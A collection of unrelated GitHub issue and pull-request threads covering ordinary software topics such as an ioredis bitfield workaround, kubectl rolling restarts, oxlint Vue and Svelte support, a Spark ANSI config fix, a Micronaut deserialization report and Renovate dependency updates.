Is there a temporary workaround I could leverage?

Experimenting, it appears I can get away with it using the ro form like this, which is not at all clear from the above type declarations for the ro form:
import Redis from 'ioredis';

const redis = new Redis.Cluster([{host: 'localhost', port: 9000}], {
    clusterRetryStrategy: (times) => (10 + times) * 100,
    scaleReads: 'master',
});
redis.bitfield('testBitField', 'SET', 'u1', 600, 1, 'SET', 'u1', 300, 1);
//redis.bitfield('testBitField', 'SET', 'u1', 300, 1);

const result = await redis.bitfield_ro('testBitField', 'GET', 'u1', 300, 'GET', 'u1', 600);

But I could not find a way that typescript would be happy with my array push approach, so this is somewhat limited, though it covers my immediate use-cases.


Update dynamically the locale's selector in Edit, Create, View record

Now you can set the locales from the views (Create/Edit/View) by calling setTranslatableLocales(array locales)
This method is public so it can be called from the form :
Forms\Components\MultiSelect::make('languages')                                         ->label(__('Languages'))                                         ->options(['en' => 'EN', 'fr' => 'FR', 'de' => 'DE', 'it' => 'IT', 'es' => 'ES'])                                         ->reactive()                                         ->required()                                         ->afterStateUpdated(function (Closure $set, $state, $livewire) {                                             $livewire->setTranslatableLocales($state);                                         }),

@ryangjchandler, do I have to rebase/merge also here ?

@invaders-xx This is okay, there's no conflicts so should be fine.

@danharrin is there any chance to have this enhancement merged soon ?


execute kubectl rolling restart

Can I run this command with the library?
kubectl rollout restart -n default deployment/test

I don't know, if this is even a feature of kubernetes itself (or rather its API) or kubectl...
I emulated this by loading deployment and modifying an annotation in pod spec / pod template - or by applying same deployment with different annotation.
There's a chance that kubectl also just does that.


Merging staging-app2 in to master.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign ushankar208
You can assign the PR to them by writing /assign @ushankar208 in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: oh-rahulsingla, SO-ashusrivastava
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: oh-rahulsingla, SO-ashusrivastava
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: oh-rahulsingla, raghavaggarwalOH, SO-ashusrivastava
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: oh-rahulsingla, raghavaggarwalOH, SO-ashusrivastava, SO-jagjeetsingh
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, oh-rahulsingla, raghavaggarwalOH, SO-ashusrivastava, SO-jagjeetsingh
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, oh-rahulsingla, raghavaggarwalOH, sampada-ojha, SO-ashusrivastava, SO-jagjeetsingh, vinaykumar01
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava,vinaykumar01]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, oh-rahulsingla, raghavaggarwalOH, sampada-ojha, SO-ashusrivastava, SO-jagjeetsingh, vaibhavso, vinaykumar01
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava,vaibhavso,vinaykumar01]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, bharatsinghoh, oh-rahulsingla, raghavaggarwalOH, sampada-ojha, SO-ashusrivastava, SO-jagjeetsingh, vaibhavso, vinaykumar01
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava,vaibhavso,vinaykumar01]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, bharatsinghoh, oh-rahulsingla, raghavaggarwalOH, sampada-ojha, SO-ashusrivastava, SO-jagjeetsingh, UpenderOH, vaibhavso, vinaykumar01
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava,vaibhavso,vinaykumar01]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: ApoorvaSrivastava, bharatsinghoh, neetuoncehub, oh-rahulsingla, raghavaggarwalOH, sampada-ojha, SO-ashusrivastava, SO-jagjeetsingh, UpenderOH, vaibhavso, vinaykumar01
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [SO-ashusrivastava,vaibhavso,vinaykumar01]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/hold cancel
/approve

/retest


Change Double to Scientific

Since in xml numbers are represented as text, Scientific is a better representation in Haskell.

Fixed by https://github.com/typeable/xsd-isogen/pull/16


Adjust cleanup of integration test

How to categorize this PR?

/area testing
/kind bug
/priority 3
What this PR does / why we need it:
This PR adjusts the cleanup of the integration test.
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:
Release note:

NONE

/test

/test

/test

/test

/test


feat(linter): Support lint the <script> part of Vue file

Since we have VSCode plugin and more and more rules, is it time to support lint the <script> part of Vue file?

It should be easy if you can figure out how to get the <script> part? Probably a super simple parser?

Done!

@Boshen As mainly a vue user, thank you for this, will definitely take it for a spin !
How hard would it be to support the script part of Svelte files ?
It might be harder because of the weird svelte syntax, but would it be safe to assume that for svelte 5 (which can be written without the weird syntax), it should work without much effort ?
The reason I'm asking is because I'm working on SvelteKit project for work and the linting is painfully slow.

@Hebilicious Can you take v0.1.2 a spin (with svelte support)? https://github.com/oxc-project/oxc/releases/tag/oxlint_v0.1.2

Damn that was fast 👌 Thank you so much for all the hardwork !


Analyze why the rdfshape-api is going down from time to time...

At this moment the rdfshape-API is crashing from time to time...one hypothesis is that the logs are very big and it decreases the performance...check if that's the reason and what actions we could take to palliate it.

Several measures have been taken to prevent this behaviour since the issue arose:

Logs are rotated, compressed and limited in size
Dependency versions have been updated with their corresponding bug fixes
A new monitoring system that re-launches unresponsive containers in our deployment setup


Add a sample with @http:payload to BBEs

Description:
Since Open API is only retrieving the data from function signature, in order to open api to work, we need to have @http:payload in the signature. This could be different from normal http samples. (where we get the json payload and cast manually). So i think we need to put a proper sample for the BBE to demonstrate this functionality.
Also I think we need to specify imitations of openapi in a doc as well.
    resource function post .(@http:Payload {} PersonInput person) returns json {
    }

Affected Product Version:
sl alpha3
OS, DB, other environment details and versions:
Ubuntu 20.04

This annotation representation (@http:Payload) BBE will be placed under the http module since the OpenAPI tool generates openAPI spec which is aligned with the Http service behaviours.


Fix leakage of Apache's httpclient classes into configuration

I thought if you want to go for an implementation other than apache's httpclient, it's better to add a bit more isolation here.

Hi! Any plans on merging this PR? I would like to remove my fork.


[SPARK-38183][PYTHON][FOLLOWUP] Check the ANSI conf properly when creating pandas-on-Spark session

What changes were proposed in this pull request?
This followup for https://github.com/apache/spark/pull/35488 proposes to fix ANSI conf check properly in python/pyspark/pandas/utils.py.
Why are the changes needed?
So far, the condition if spark.conf.get("spark.sql.ansi.enabled"): always went True, since spark.conf.get("spark.sql.ansi.enabled") returns "true" or "false" instead of True or False.
So, it's always show the warning message although the ANSI mode is not enabled.
We might need to check the returned string properly so that we can only show the warning message when the "spark.sql.ansi.enabled" is actually set as True.
Does this PR introduce any user-facing change?
Now users see warning message when only "spark.sql.ansi.enabled" is set as True.
How was this patch tested?
Manually test, and the existing tests are should be passed.

cc @ueshin @HyukjinKwon

Merged to master.


Add iOS support

would be great to get this platform implemented

I think we can start this by exploring this Dart library https://pub.dev/packages/flutter_file_dialog it supports both IOS and Android

maybe this can help, https://github.com/MohamedRejeb/Calf/blob/main/calf-file-picker/src/iosMain/kotlin/com.mohamedrejeb.calf.picker/FilePickerLauncher.ios.kt


Error When Deserializing Interface With @JsonTypeInfo and @JsonSubTypes

Expected Behavior
When deserializing with Jackson, the following interface deserializes correctly into the implementing classes.
@JsonTypeInfo(
        use = JsonTypeInfo.Id.NAME,
        property = "type"
)
@JsonSubTypes({
        @Type(value = Reactor.class, name = "Reactor")
})
@Serdeable
public interface PowerGenerator {
    String getType();
    int getQuantity();
    int getShrink();
}

Actual Behaviour
When deserializing with Micronaut Serialization, the following error occurs:
Caused by: io.micronaut.serde.exceptions.SerdeException: Unable to deserialize type [PowerStorage E]: No default constructor exists
Caused by: io.micronaut.core.reflect.exception.InstantiationException: No default constructor exists
The documentation for Micronaut Serialization indicates that JsonTypeInfo and JsonSubTypes are supported.
The implementing classes are annotated with @Serdeable and adding default constructors has no effect on the error.
Steps To Reproduce
No response
Environment Information
Micronaut Serialization 1.5.2
Example Application
No response
Version
Micronaut 3.8.8, Micronaut Serialization 1.5.2

can you show what Reactor looks like

As below:
@Serdeable
@JsonIgnoreProperties(value = "type")
public class Reactor implements PowerGenerator {
    private static final String type = "Reactor";

    @Positive
    private final int quantity;

    @PositiveOrZero
    private final int shrink;

    @NonNull
    @NotBlank
    private final String reactorType;

    @Positive
    private final BigDecimal reactorPower;

    @JsonCreator
    public Reactor(@JsonProperty("quantity") int quantity,
                   @JsonProperty("shrink") int shrink,
                   @JsonProperty("reactorType") @NonNull String reactorType,
                   @JsonProperty("reactorPower") BigDecimal reactorPower) {
        this.quantity = quantity;
        this.shrink = shrink;
        this.reactorType = reactorType;
        this.reactorPower = reactorPower;
    }

... getters, equals, and hashCode omitted

I copied the wrong error message; it was from a test run where I dropped the PowerGenerator type to see if it was just that type and not all interface. My apologies; in attempting to isolate the issue, I made things confusing.

The problem seems to have been unrelated to Micronaut Serialization; it's possible the switch I made from Jackson to MS had some cached information. For an unrelated issue, I cleared my IDE cache, and after the project was reindexed, things are now functioning correctly.
Apologies for the issue; closing now.


chore(deps): update ci dependencies

This PR contains the following updates:

Package
Type
Update
Change

common-dev-assets

digest
793d782 -> 20ea4bb

github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper
require
patch
v1.23.7 -> v1.23.9

Release Notes

terraform-ibm-modules/ibmcloud-terratest-wrapper (github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper)
v1.23.9
Compare Source
Bug Fixes

deps: update gomod (#680) (f4dbcb9)

v1.23.8
Compare Source
Bug Fixes

add extra validation to parsing diffs and prevent panics(#681) (ebe00fe)

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

/run pipeline

/run pipeline

:tada: This PR is included in version 1.5.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


how do I disable the links per resource?

also, why are they on by default?

Not sure what you mean by 'links per resource'. As far as serializing resources go, there are a few options:

The property does not exist: Saule serializes a link
The property exists, but is null: Saule serializes a link
The property exists, and has a value: Saule adds the resource to the included hash

If you don't want to serialize links, or want to serialize different ones, you can implement IUrlPathBuilder. See the documentation here. Note that if you return null for the relationship links, the link will not be serialized.


Need a contact email address for user error reporting

We should have a contact email address for users to report failing tasks or general errors / questions.

<EMAIL_ADDRESS>

created a dedicated restricted<EMAIL_ADDRESS>group to collect any errors that might happen
ask me if you want access

Added<EMAIL_ADDRESS>to TASK_ERROR_EMAIL setting.

@bjohare ho has access to these error emails? Are they directed to the system administrator @dodobas?